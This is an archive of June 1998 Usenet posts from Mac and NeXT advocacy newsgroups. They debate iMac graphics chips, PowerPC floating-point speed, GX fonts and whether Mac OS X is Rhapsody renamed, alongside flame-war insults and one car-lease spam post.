<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<6m8jd3$dbl$19@ns3.vrx.net>
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In <6m8jd3$dbl$19@ns3.vrx.net> Maury Markowitz wrote:
> In <6m8vbu$6u9$1@news.spacelab.net> "Charles W. Swiger" claimed:
> > This is even more the case for the PPC in the iMac compared to Wintel
PC's,
> > since the PPC is proportionally better than the Intel Pentium at floating
> > point....
>
> Is this still true? I was under the impression this was a combination of
> lower accuracy for the most part in the past, but that the P-II was even
> better than the PPC?
The PPC 750 is not as good as the 604 at floating point, IIRC, but it should
beat the Pentium II quite comfortably. Having a normal register file for
floating point instead of the stack of the Intel family helps a lot. Even the
PII can only retire one FPU instruction per cycle, and not all units are
fully pipelined.
Up to the Pentium the floating point performance of the x86 chips was
horrendous. Now it's just bad...
AMD recently released a K6 chip with something like four times the floating
point performance of the Pentium II, but to achieve that you need to write
special code for it -- it is an extension to the architecture, and not a
replacement for the normal FPU.
Regards,
John Hornkvist
Address:cd.chalmers.se
Name:nhoj
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 22:54:40 -0700
Message-ID: <see-below-1706982254410001@dynamic43.pm05.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com> <slrn6oh5t5.p7f.sal@panix3.panix.com>
In article <slrn6oh5t5.p7f.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Wed, 17 Jun 1998 18:07:14 -0700, Matthew Vaughan
<see-below@not-my-address.com> wrote:
> >To refresh everyone's memory, initially Apple announced the iMac would
> >have a Rage II-class chipset in it, but has been quiet about the
> >particular part to be used since then. I've heard that Rage Pro is
> >pin-compatible with Rage II,
> [snipped]
>
> Is ATI even making the Rage II+ anymore? That would be the question to ask.
> Apple switched from the II+ to the Pro in the g3 line in the past month or
> so, did they do this because the II+ is no longer being built? Apple had
> to have some reason for changing.
Good question, and I do hope it's just that simple.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 17 Jun 1998 22:45:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ADF774-CB41@206.165.43.47>
References: <1998061801355900.VAA02050@ladder01.news.aol.com>
MIME-Version: 1.0
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WillAdams <willadams@aol.com> said:
>Lawson said:
>>The biggest hurdle to developing GX fonts has always been that they
>>aren't cross-platform. So happens that Yellow Box apps can handle GX
fonts
>>also, which means that GX fonts are now cross-platform.
>
>I beg your pardon? Now cross-platform? Don't you mean, presumably _will_
>be
>cross-platform if Apple carries through on its currently announced
>development plans?
Rhapsody 1.0 WILL be sold. Yellow Box with ATSUI-like services (via the
GX-NSText hybrid class) WILL be available, at least for now (hopefully for
a very long now). I'm not overwhelmingly confident about the future of YB,
but I'm hopeful.
For now, GX (AKA ATT) fonts should be cross-platform.
Moreover, this ignores persistent rumors that QuickDraw/GX was
>ported to
>Windows NT and then buried.
It's been ported at least twice, then. QT vectors are based on GX graphics.
>
>Furthermore, I'd disagree with cross-platformness being an issue. Most
>people
>doing design work have Macs already, and people do quite well selling Mac
>only
>fonts (or targeting the Mac platform initially or primarily). Take a look
at
>Emigre and Suzanna Licko's Mrs. Eaves and the smart ligatures package for
>it.
>
>Now, consider why Emigre found it necessary to have Blokland do a custom
>application to switch ligatures--because it's a real problem to get film
>output
>from a QuickDraw/GX application.
Just why would that be the case? I've never heard this claim before. If
you're saying that no shipping GX app supports this feature, that's not the
same as saying that it is difficult to do.
>
>That's been the real hurdle for GX to leap. If you knew anything about
>publishing Lawson, you'd understand and acknowledge it, rather than
digging
>GX
>into the ground by your attempts to claim that it is things which it is
not,
>or
>that it can do things now which have only been announced.
>
I don't see what possible issue would arise from GX specifically that would
make it difficult to output GX to film and I've never heard anyone cite
this as one of the major problems with GX.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Thu, 18 Jun 1998 00:45:21 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1806980045210001@digital-00-47.hou.neoworld.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <358882f9.0@news.together.net>
In article <358882f9.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>>The Doom That Came To Usenet wrote in message ...
>>>In article <35872ab1.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
>>wrote:
>>>
>>>
>>>>>>However, n a sense, the robust quality of the Macintosh is a thorn to
>>>>>>Apple.
>>>>>..
>>>>>It never existed, so it can't be much of a problem.
>>>
>>>You're talking out of your ass again.
>>>How many Macintosh computers have you actually owned, Lance?
>>>Not a one, I suspect.
>>..
>>Suspect? Stop answering your own questions. It makes you sound like a dolt.
I'm stating a fact, you ignorant bastard.
How many have you owned?
>>..
>>..
>>>So then, just how the hell would you know anything about the quality of
>>>Mac hardware components?
>>>'Cause you used to repair them?
>>..
>>Ah, still.
What, stuck in a retail shithole repairing Performas?
That's about your speed: some community college, tech school, cracked some
books and subscribes to some trades.
Most likely some Mac user gave you some shit about applying your feeble PC
troubleshooting skills in diagnosing a Mac problem long ago.
That's why you like to hang out here and talk a lot of shit about a computer
you know nothing about.
To use one of your lines," Am I warm?"
>>..
>>..
>>>Ever stopped to think that because you repaired them, the only Mac hardware
>>>you're exposed to is faulty Mac hardware?
>>..
>>Ever stop to think that faulty Macs are built exacly the same what as all
>>the rest?
So, what you're saying is, if a board fails in one computer, whether Mac
or PC, it
will fail in all of them, right?
You're clueless.
>>..
>>..
>>>That's no basis for comparison.
>>..
>>Ya there is.
"Ya"?
That's the best you can do?
>>..
>>..
>>>I'ved repaired just about everything under the sun as far as computers go,
>>>at one time or the other.
>>>Does that mean that every computer I've repaired is a broad indication
>>>of the quality inherent in all of the products that particular
>>>manufacturer produces?
>>>Hell, no.
>>..
>>Well, no. For example, I don't compare Walkmans to Sony computers or audio
>>equipment.
Sony computers are manufactured by Intel.
Oops, you knew that, right?
I also don't compare Mitsubishi tuna to Mitsubishi cars or
>>Mitsubichi TVs.
Mitsubishi is a zaibatsu, that is a huge conglomeration of companies, some
of which
bear little or no relation to one another.
Therefore, no valid comparison could be made.
Come to think of it, if you've got a point here, it's that
>>you don't have a point.
No, you tried to make a point that, through your limited exposure to
Macintosh, albeit
only with faulty Mac hardware, you've cleverly deduced that all Mac hardware
suffers from the same inherent problems, and is generally of low quality.
You're full of shit.
>>..
>>..
>>>You don't know what you're talking about, plain and simple.
>>>Go back to your little Best Buy job slapping in memory and hard drives.
>>..
>>Given an obvious lack of position, is this the best you can do?
I call 'em as I see 'em.
If you possess true genius with a breadth of technical knowledge, then you're
doing a remarkable job of concealing it from us.
>>..
>>..
>>>>>There's nothing unusual about the Mac hardware. In fact it's very
>>pedestrian
>>>>>as computers go.
>>>
>>>When compared to what- SGI or Sun?
>>>Commodore's Amiga?
>>>I know you're not seriously comparing Apple hardware to >Compaq,Dell, et
>>al.
>>..
>>Of course I am.
I'm sure more than a few customers of both companies would be wearing
rueful smirks
right now after that ridiculous assertion of yours.
>>..
>>..
>>>Be very careful here, Lance.
>>>You're about to make an ass out of yourself.
>>..
>>By you? Please.
No, you're doing a fine job of it all by yourself.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 18 Jun 1998 01:14:47 -0400
Organization: BM
Message-ID: <6ma7g8$c74$1@argentina.it.earthlink.net>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca>
<B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com>
<6m2nh8$irr$3@bolivia.it.earthlink.net> <3585477a.0@news.depaul.edu>
<6m45j1$nun$1@suriname.it.earthlink.net> <6m620a$d9i$2@news.spacelab.net>
<6m7hd9$549$1@argentina.it.earthlink.net> <3587eabd.0@news.depaul.edu>
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Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>Did that include *only* the profits from software sales, or did
>that also include consulting, support, and training revenue?
That's the figure for the whole enchilada.
Ziya Oz
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 01:13:20 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3588B000.8094E413@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com>
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NNTP-Posting-Date: 18 Jun 1998 06:19:04 GMT
Salvatore Denaro wrote:
>
> The downside to this "churn" is that you get tons of buggy drivers every
> 90 days.
True.
> I don't see that its worth the QA headaches for a 5% (or even
> 20%) increase in speed.
The speed increase is much more than 20%, I assure you.
> http://www.atitech.ca/news_awards_events/awards/awards.html#northam
>
> PC Gamer, PC Computing and PC World all gave awards to card with the
> ATI Rage Pro in May 98.
Dunno, I'm wrong. I assure you it's no indication of how up-to-date the
Rage Pro is. The 3D chipset industry is turning chips over at about 6
months per generation. By August, the Rage Pro will be thoroughly
useless. The CPU on the iMac will be waiting on the Rage Pro (as Chuck
described).
[cut]
> >It was (honest!). It doesn't compete anymore. Matrox G200, Number Nine
> >Revolution IV, Riva TNT, Voodoo II, S3 Savage 3D, Glaze 3D, and many
> >many more...all will dramatically outperform that chipset, and all will
> ----------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >almost certainly ship before August (for well under $200).
>
> By how much? Is it worth the QA issues for a 20% increase?
Like I said, it's much more than 20%. There are a lot of issues
involved, but overall, you can expect the G200 to perform at least 100%
better on a slow CPU, with better image quality and higher fill rate,
support for higher resolutions, higher refresh rates, larger amounts of
video RAM, and better hardware OpenGL support. That's based on
prerelease drivers, which understate the chipset's performance. The
Voodoo II performs around 200% *better* than the Rage Pro on Quake II.
The other chipsets I mentioned will do similar things to make the ATI
chipset look embarassingly slow.
> It's one thing
> to go through that for a 200% boost, but 5%->20% isn't enough to go and
> do it.
Go look at some of the benchmarks yourself. It is *far* more dramatic
than 5-20%. It's the difference between 15 fps and 60 fps, in many
cases.
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Ending the iMac debate...
Date: 18 Jun 1998 06:33:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ohd5f.ss3.sal@panix3.panix.com>
First:
Is it upgradible?
http://www.carpetbinding.com/EXP/iMacboard.jpg
Looks like it has *some* upgradible parts. There is something called
a DAV port, and the CPU is on a daughter card. The motherboard can
slide out of the iMac.
Second:
Will it use ATI Rage Pro or ATI Rage II+?
I think it will be the PRO, due to the II+/IIc being discontinued.
Here is why:
a) ATI lists three Mac video cards, none are II+ or IIc.
http://www.atitech.ca/products/macindex.html
b) If you go to the PC products page
http://www.atitech.ca/products/pcindex.html
The only non-pro cards are listed in "other", with the
exception of the 3d Charger, but it is set up for EDO not
the SDRAM that the iMac is set up to use.
c) Apple switched from the II+ to the Pro in it's g3 line
I think it is clear that the II+/IIc is being dumped, and that it
will be a distant memory by October. Maybe the first batch of iMacs
will ship with it, but Apple will *have* to switch to the Pro after
the supply of II+/IIc's runs out.
Third:
I don't like the iMac!!! It sucks!!! The mouse doesn't light up!!!
APPLE STILL MAKES OTHER MACHINES. http://store.apple.com/
If you need PCI slots, SCSI or want a 17" or 21" display, Apple makes
machines with those features. They even make another All in one. And
those Macs ship with floppy drives :) If the iMac isn't for you, and
you still want to buy a Mac you can buy something else.
Ok. Done. Can we please go back to arguing about MacOSX and Rhapsody?
--
sal@panix.com
Salvatore Denaro
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Wed, 17 Jun 1998 22:17:09 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1706982217120001@206.133.187.113>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com>
> No, brand is not an issue because there is no loyalty in the PC world.
> But then why should there be? It's the same crappy computer design no
> matter who sells you the PC.
Yeah, Openstep users think pc's are absolute shit. Uh huh. Sure Edwin.
I am crossposting your insanely brilliant observation to their newsgroup
Edwin, so they can hear your inspiring words and throw their pc's in the
trash, and promptly go to store.apple.com and order a g3 with macos 8!!
Come on Openstep users, you heard Edwin, throw away your pc's and buy a g3
running os 8!!!
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 06:49:05 GMT
Organization: MiscKit Development
Message-ID: <6mad91$1uu$1@news.xmission.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
> On Wed, 17 Jun 1998 19:00:13 -0700, Mike Paquette <mpaque@wco.com> wrote:
> >Nathan Urban <nurban@crib.corepower.com> wrote:
> >> Please explain just how MacOS X is _not_ Rhapsody in any important way.
> >Ummm... All new artwork on the box. A different label on the CD. A
> >whole different marketing campaign.
> >Howzat?
>
> That answer was clear, concise, direct and totally useless.
Ummm, actually it is very useful. I've heard tell from people who would know
that:
Mac OS X == Rhapsody 2.0
It's _really_ just that simple! (Yes, there are some additions and changes
here and there, but you expect to have a few big changes when going from one
major release to the next.) So, given the original question, Mike basically
answered: "they are in fact the same, only the name has changed". He just
phrased it in a humorous way that apparently sailed right over your head.
You're obviously not very well acquainted with Mike's sense of humor...
> Now I am finally sure that Apple is being run by Vorlons...
Mike's response doesn't prove that. Doesn't disprove it, either, though...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 06:53:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ohebn.ss3.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net>
On Thu, 18 Jun 1998 01:13:20 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> The downside to this "churn" is that you get tons of buggy drivers every
>> 90 days.
>True.
I think it is worth it for Apple to ship an older chip, assuming that
the drivers are rock solid. Are there Apple drivers for the Matrox or
Riva chipsets? For the newer chipsets? Should Apple take this big a
risk in the first real consumer product in years?
There are a ton of other issues. The PRO may not be the best chip for
the job, but it might make the most sense overall. Apple knows the
chip, it is shipping in high enough volume, they have drivers for it.
And besides, by your own logic, any PC shipping today is going to have
obsolete 3d in 90 days anyway.
>> http://www.atitech.ca/news_awards_events/awards/awards.html#northam
>> PC Gamer, PC Computing and PC World all gave awards to card with the
>> ATI Rage Pro in May 98.
>Dunno, I'm wrong. I assure you it's no indication of how up-to-date the
>Rage Pro is. The 3D chipset industry is turning chips over at about 6
Are those new cards going to ship in the sub 1k to sub 1.2k machines
that the iMac will be priced against? From what I've seen, most of the
"basic pcs" ship with older chips. I would think that PC vendors ship
the newest at a high end first.
>> By how much? Is it worth the QA issues for a 20% increase?
>Like I said, it's much more than 20%. There are a lot of issues
>involved, but overall, you can expect the G200 to perform at least 100%
>better on a slow CPU,
Could Apple even ship with that chip? Are there drivers? What is the
price when compared to the PRO?
>support for higher resolutions, higher refresh rates, larger amounts of
>video RAM,
Not issues on the iMac.
>prerelease drivers, which understate the chipset's performance. The
>Voodoo II performs around 200% *better* than the Rage Pro on Quake II.
Would anyone be willing to commit to selling to Apple when Apple is
not known to sell to the game market? Would 3dFX be willing to write
drivers? Would Matrox be willing to forgo sales to PC vendors? And could
any of them ship enough chips to Apple to deal with Apple's percieved
need and the iMac's high advance orders?
--
sal@panix.com
Salvatore Denaro
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Thu, 18 Jun 1998 02:51:17 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113>
NNTP-Posting-Date: 18 Jun 1998 07:52:01 GMT
Steve Sullivan <macghod@concentric.net> wrote:
> > No, brand is not an issue because there is no loyalty in the PC world.
> > But then why should there be? It's the same crappy computer design no
> > matter who sells you the PC.
>
> Yeah, Openstep users think pc's are absolute shit. Uh huh. Sure Edwin.
> I am crossposting your insanely brilliant observation to their newsgroup
> Edwin, so they can hear your inspiring words and throw their pc's in the
> trash, and promptly go to store.apple.com and order a g3 with macos 8!!
> Come on Openstep users, you heard Edwin, throw away your pc's and buy a g3
> running os 8!!!
You must really love my name, as you can't seem to say it enough.
Why don't you explain why you bought a G3 Mac instead of a PC, Steve?
You forgot to put your new signature line at the bottom of this post.
Here's Steve Sullivan's new signature:
--
Posted on a g3 233 desktop running os 8.1.
So many pedestrians, so little time!
My opinions don't change with the wind. The Macintosh running the Mac
OS is the best computing choice available.
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 08:29:40 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6maj5k$439$1@news.cs.tu-berlin.de>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
sal@panix3.panix.com (Salvatore Denaro) writes:
>On Wed, 17 Jun 1998 19:00:13 -0700, Mike Paquette <mpaque@wco.com> wrote:
>>Nathan Urban <nurban@crib.corepower.com> wrote:
>>> Please explain just how MacOS X is _not_ Rhapsody in any important way.
>>Ummm... All new artwork on the box. A different label on the CD. A
>>whole different marketing campaign.
>>Howzat?
>That answer was clear, concise, direct and totally useless. Now I am finally
>sure that Apple is being run by Vorlons...
It is extremely clear, concise, direct, funny and *useful*, because it
says that the only 'important' ways that MacOS X differs from Rhapsody
are non-technical. Conversely, they are largely identical technically.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Car
Subject: Drive any new car for $100 p/month.
Message-ID: <acfNhyom9GA.120@cidintnews.infosel.com.mx>
Newsgroups: comp.sys.next.advocacy
Date: Thu, 18 Jun 1998 02:42:22 -0500
Drive any new car for $100 p/month.
Any Make
Any Model
Any Price
No Down Payment!
No Bank Fees!
No Security Deposits!
Home Based Biz. Opportunity-NOT MLM!
For more information,
call 716-389-9669 and a live operator will take down your Name, Address, Phone,
Fax (optional), and email (optional) so that we can send you an information package.
It is important that you give this information, since we will not send any info without it.
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: 18 Jun 1998 08:56:22 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6maknm$q21@btmpjg.god.bel.alcatel.be>
References: <6m7cgh$kio$1@gaea.omnigroup.com>
andrew_abernathy@omnigroup.com writes
> quinlan@intergate.bc.ca wrote:
>
> > I think that Apple should consider releasing the YB development tools for
> > free.
>
> This is probably not really a good idea as is. The reality is that most
> companies won't bet their development on free tools, if for no other reason
> that being free, there is the implication that the vendor (in our case,
> Apple) would be much more likely to simply drop the tools leaving you up the
> creek. (There's enough of that worry as it is.)
>
> There are variations which may be more viable, but there are always
> trade-offs. If you charge super-low prices yet put real effort into tool
> development, you have to pay for it somehow. Either by higher hardware costs,
> or by putting the cost on the developer. The current situation seems to be
> that Apple funds part of its development via its hardware sales, and part via
> charges for the developer programs. The current programs seem quite
> reasonably priced for most cases. Perhaps in the future Apple can do
> something to make it easier for individuals to get hooked, but making the
> tools free (at least, the full set of tools) is probably not the solution.
>
Whatever argumentation might come into mind here, if you
look at the success of PalmPilot, and the large number
of available applications for it, compared to all competitors,
the only way to force developers moving from Carbon to YB
and getting enough NEW applications for OS X is giving
the developer tools away for free. This also decreases
sales-dependent support costs - developers get what they
pay for.
Sometimes its better to blindly repeat succesfull business
patterns than to base decisions on pure logic argumentation
(this is, IMHO, the main principle of the S.J. or NeXT or (now)
Apple reality distortion field - there is always a complete logical
chain to explain what they do, nevertheless sometimes he/they are
wrong anyway).
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Check this out, the P2 beats the G3....
Date: Thu, 18 Jun 1998 01:48:49 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1806980148490001@sdn-ar-001casbarp295.dialsprint.net>
References: <3569a6d3.0@news.velocity.net> <rpvb3-2505981051200001@ip218.seattle10.wa.pub-ip.psi.net> <MPG.fd38db311b0f7e29896d3@news.interport.net> <cirby-2505981703370001@pm58-47.magicnet.net> <MPG.fd3ba5b4fe1209f9896d5@news.interport.net> <joe.ragosta-2605980748140001@wil131.dol.net> <6lrhgo$hun$1@nnrp1.dejanews.com> <cirby-1206981840480001@pm51-31.magicnet.net> <6lst4j$t5b$1@nnrp1.dejanews.com> <joe.ragosta-1306980659330001@elk66.dol.net> <6lu6n5$flm$1@nnrp1.dejanews.com> <joe.ragosta-1306981330270001@elk64.dol.net> <6lvo55$opc$1@nnrp1.dejanews.com> <macghod-1406980039070001@sdn-ar-001casbarp256.dialsprint.net> <1dassd1.1i9pf7frzyhwcN@pppsl518.chicagonet.net>
In article <1dassd1.1i9pf7frzyhwcN@pppsl518.chicagonet.net>,
ethorne@chicagonet.net (Edwin E. Thorne) wrote:
> Steve Sullivan <macghod@concentric.net> wrote:
>
> > > I believe you were the first person to say anything about VM. I never
> > > said a word about VM until you told me I was wrong about VM. Yes that
> > > indefinable Mac user ability to see things that aren't there.(Or maybe
> > > just a need for a remedial reading course)
> >
> > Hmmm, that reminds me, I am still waiting for Edwin to "show me the light"
> > concerning macs. Back from his "macghod still hasnt seen the light yet"
> > post.
>
> I've done my best Steve. But there are none so blind as he who will
> not see.
So in other words you know you are full of shit. You can search dejanews
till eternity and you will not find a post by me saying how great windows
95 is. On numerous occasions I have said what a rock solid os Openstep
4.2 is.
And it is, its much much much much much much better than the macos.
Putting it in terms you can understand, think how much better the macos is
than windows 95. Now times that by 10 and thats how much better openstep
on a pc is than macos.
Ya know, your posts contain absolutely no content. You call people names,
but you never give content. When I post, I try to use facts.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Thu, 18 Jun 1998 01:42:28 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net>
> > On numerous occasions over the past year, I have said that I am like a
> > umpire, I merely call them as I see them. THe "right" side is not the
> > "mac side" or the "pc side". THe right side is THE TRUTH. And that is
> > what I strive for. And people who take sides and IGNORE THE TRUTH because
> > it is bad for "their side" irritate me.
> >
> > I think you and Chad Irby should reflect on this
>
> That's really funny Steve. "I like cheap PCs" + "I just bought a G3"
> = "The Truth." Thanks for the laugh.
Really? Where did I say I like cheap pc's? I gave the price of current
pc's, and said they were quite tempting given how AWESOME openstep is.
You started crying since I said Openstep is a much more stable os than the
macos.
How long have you used Openstep?
I still dont see what "the laugh" is about? A p2 300 running openstep is
a DAMN FINE machine. I was able to get a g3 for about $1200, so I jumped
on it. Again, I see no inconsistencies....
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 09:26:43 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6mamgj$gg0$1@supernews.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net>
<6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com>
<6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com>
<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
<6majra$hjq$1@suriname.it.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ziyaoz@earthlink.net
"Ziya Oz" may or may not have said:
-> don@misckit.com (Don Yacktman) wrote:
->
-> >Mac OS X == Rhapsody 2.0
->
-> If so, why won't it run on Intel?
Oh, it will run on Intel.
The real question is, will Apple let us have it on Intel?
-jcr
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Thu, 18 Jun 1998 04:44:56 -0400
Organization: BM
Message-ID: <6majra$hjq$1@suriname.it.earthlink.net>
References: <vik-0806981034470001@p20.hwts04.loop.net>
<6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu>
<6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com>
<6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com>
<6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com>
<1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
